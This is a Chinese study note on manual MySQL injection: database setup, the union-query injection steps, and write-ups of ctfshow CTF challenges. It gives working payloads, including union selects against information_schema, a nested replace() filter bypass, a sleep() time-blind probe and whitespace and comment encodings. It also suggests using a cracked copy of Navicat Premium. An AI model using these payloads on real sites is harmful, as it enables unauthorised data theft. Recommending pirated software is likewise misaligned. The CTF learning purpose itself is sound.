数据库种类
sql注入首先需要判别sql服务器的种类
常见的sql服务器有:
mysql
mssql
sqlite
mongodb
不同服务器所使用的语句有区别也有相同之处,为了方便应对不同的服务器,这里给出这四种常见的服务器的手工注入语句。
mysql
web方向sql注入的学习需要形成系统的体系,需要详细且系统的学习,这样才能出神入化的使用手注,而不是每次去搜寻相关的注入或者使用sqlmap。
mysql库的搭建
mysql库是数据库的一种,配套mysql语言使用,方便大量数据的存储和使用。对于mysql数据库的搭建有两种方法:
方案一(推荐) | 使用phpstudy搭建数据库(phpstudy是web入门一个必备的工具) | https://www.xp.cn/小皮官网 |
---|---|---|
方案二 | 在linux系统或者服务器上搭建mysql数据库 | https://blog.csdn.net/weixin_39289696/article/details/128850498(参考博客);https://www.mysql.com/downloads/(官网) |
mysql库的检验、配置与管理
如果使用phpstudy开启的mysql,开启mysql后,下载Navicat Premium官网地址(https://www.navicat.com.cn/products)来管理mysql库,Navicat Premium的使用需要付费,可以自行下载破解代码使用。
打开后如图所示
打开后点击左上角connection弹出相应界面如上图,发现有许多种数据库,找到mysql库,这里我已经建立过mysql因此显示在最上方。选中后点击next如下图:
自己设置一个库的名称,密码部分在phpstudy内可以看到:
填好后点击添加即可。
添加后可以在此可视化管理平台上对数据库进行操作(具体操作详见csdn):
在cmd命令行也可以对已有的数据库进行操作,需要先添加环境变量:
- 找到bin位置
点击Mysql部分可以得到相关位置,打开bin文件夹。 - 添加到环境变量
将bin文件夹路径复制后在电脑设置中搜索环境变量,具体流程参考添加环境变量,将路径添加后打开cmd窗口检查:输入mysql后若显示==ERROR 1045 (28000): Access denied for user 'ODBC'@'localhost' (using password: NO)==
代表添加成功。
成功添加环境变量后下一步是使用cmd窗口对数据库完成一系列操作,首先连接数据库:
输入如上指令之后输入之前查看的数据库密码,连接成功。
mysql的增删查改等操作
在可视化软件上对数据库的改动这里不在赘述,重点说明一下在cmd窗口对数据库的操作。
以下是一些操作:
show databases # 列出所有数据库
use test # 进入test数据库
show tables # 列出当前数据库下所有表
create table users (
id int not null primary key auto_increment,
username varchar(32) not null,
password varchar(32) not null
) # 建表
insert into users(username, password) values('admin', 'admin') # 增
delete from users where username='admin' # 删
update users set password='admin' where username='admin' # 改
select id from users where username='admin' and password = 'admin' # 查
每行代码后面都需要跟;(分号)
cmd运行show database();如图
接着进入一个我们建立好的数据库(这里我已经建立好toyot,具体可在Navicat Premium内操作)
use toyot;//进入toyot数据库
切换到toyot库后可以使用如下代码来进行查询:
select id from users;
这里toyot库下我已经建立好users表,结果如下:
对于上述代码的id位置还可以改为通配符==*==,代表获取所有列名,后面还可以跟相关条件,使用==where==连接。
具体增删查改同理,照着相应代码很好理解的。
mysql联合查询手工注入
在熟悉了相关操作之后需要学习基本的注入方法。联合查询的关键在于运用关键字==union==将俩个结果集合并。(使用select查询出的表称为结果集)
(图片取自nss的xenny)
联合注入可分为以下六步:
- 判断注入类型
- 查列数
- 确定字段位置
- 查表名
- 查列名
- 获取数据
一、判断注入类型
常规的注入类型可以分为以下几种
1.select id,name from users where id=1;#纯数字
2.select id,name from users where id='1';#单引号
3.select id,name from users where id="1";#双引号
4.select id,name from users where id=(1);#括号及其叠加
括号可以多层嵌套并且与单引号、双引号混合使用,如:((()))、(("1"))等
对于以上几种注入类型可以采用不同的输入来闭合语句,使其产生不同效果来判定是哪一种注入类型。
二、查列数
使用==order by==语句来查询,order by 1代表按照第一列来排序,order by 2代表按照第二列来排序输出结果。
如果order by 4报错而order by 3不报错则证明为三列。
三、确定字段位置
这一部分通常比较自然的完成,例如
union select 1,2,3
可以通过数字来判断回显的位置。
四、查表名、查列名、获取数据
database() # 查看数据库
user() # 查看当前数据库连接的用户
id=1 union select 1,table_name from information_schema.tables where table_schema=database()
#跨数据库查询需要以上高亮的格式information_schema.tables。
#由于前面查到的列数为二,需要保持列数一致避免报错,这里前面补上1来形成两列。
#table_name是information_schema数据库下tables表中的一列,存储了所有数据库的表名,这里使用where精确到所要查找的数据库的表名。
#database()函数返回当前数据库的名字,所以前面调用的时候得以查找到当前数据库下的表名。
#找到表名为f1ag_table。后面需要弄清楚f1ag_table的列。(使用columns表)
id=1 union select column_name from information_schema.columns where table_name='f1Ag_table'
#根据以上语句可以知道f1ag_table表内的列有i_am_f1Ag_column。提示我这一列是存储flag的列。最后查询信息即可。
id=1 union select 1,i_am_f1ag_column from f1Ag_table#得到答案
ctfshow的一些sql题目记录
web174
基本信息如下
第一步有一个坑就是题目环境打开时自动跳转到173了,这里需要选择174才能到。前面的order by判断这里省略,可以看到题目的返回过滤了flag和数字,导致查一些数据的时候不能显示。例如
1' union select 1,2--+ //这里不能用了,因为会回显数字1,2
1' union select 'a','b' //这里可以用回显字母来替代,注意要有单引号
可以查数据库名
-1' union select 'a',database()--+
但是查表名就不行了,根据规律这里的表应该为==ctfshow_user4==,含有数字因此不会回显,这里有一个重要知识点,replace替换。
0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.tables where table_schema=database()--+
将零到九这是个数字替换为大写字母,最后通过回显的字母来判断数字。回显==ctfshow_userD==可知这是ctfshow_user4.
正常查列名,由规则可知flag位于password列,最终通过替换在写脚本得到flag。
0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
ssl="tfshow{AGfBCdeA-bcbb-DJAE-HcEC-IAAEGdCJBCBJ}"
flag=''
for i in ssl:
if i=='A':
flag+='1'
elif i=='B':
flag+='2'
elif i=='C':
flag+='3'
elif i=='D':
flag+='4'
elif i=='E':
flag+='5'
elif i=='F':
flag+='6'
elif i=='G':
flag+='7'
elif i=='H':
flag+='8'
elif i=='I':
flag+='9'
elif i=='J':
flag+='0'
else:
flag+=i
print(flag)
web175
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
正则表达式匹配了所有ascii码从0到127的字符,基本没有办法绕过,考虑时间盲注。使用sleep函数测试执行成功。
1' and sleep(1)--+
==笑死,脚本又出问题了这题搁置。==
一些绕过
-
空格绕过
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
/**/或者括号 -
注释符号绕过
有#,--+,%23可以使用,也可以使'1'='1来闭合最后一个引号。
由于--加空格也可以表示注释符,所以当有可绕过空格的方案时(例如==%0c==),可以使用==--%0c==来表示注释符。
web182
这里还是过滤了select,空格等。
可以使用command1||command2符号,代表只有command1执行失败之后才执行command2。这里就可以构造payload=-1'||username%0clike%0c'fla%,因为过滤了flag,所以这里使用通配符绕过。下面给出了两个比较常见的通配符。
字符 | 说明 |
---|---|
% | 匹配任何数目的字符,甚至包括零字符 |
_ | 只能匹配一种字符 |